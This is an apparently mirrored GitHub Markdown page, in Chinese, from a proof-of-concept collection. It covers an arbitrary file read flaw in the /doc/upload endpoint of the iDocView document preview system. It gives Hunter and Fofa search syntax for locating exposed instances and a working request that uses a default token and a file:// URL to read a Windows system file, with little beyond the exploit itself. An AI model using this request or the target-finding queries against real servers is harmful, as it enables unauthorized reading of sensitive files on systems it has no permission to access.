mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-05-05 10:17:57 +00:00
19 lines
667 B
Markdown
19 lines
667 B
Markdown
|
## iDocView upload接口任意文件读取
|
|||
|
|
iDocView是一个在线文档预览系统 /doc/upload 接口处存在任意文件读取漏洞，未授权的攻击者可以利用此接口并携带默认token读取服务器敏感文件信息，使系统处于极度不安全的状态。
|
|||
|
|
|
|||
|
|
## 资产测绘
|
|||
|
|
```
|
|||
|
|
Hunter语法：
|
|||
|
|
app.name="I Doc View"
|
|||
|
|
Fofa语法：
|
|||
|
|
title="I Doc View"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## poc
|
|||
|
|
```
|
|||
|
|
http://xxxxxx/doc/upload?token=testtoken&url=file:///C:/windows/win.ini&name=test.txt
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|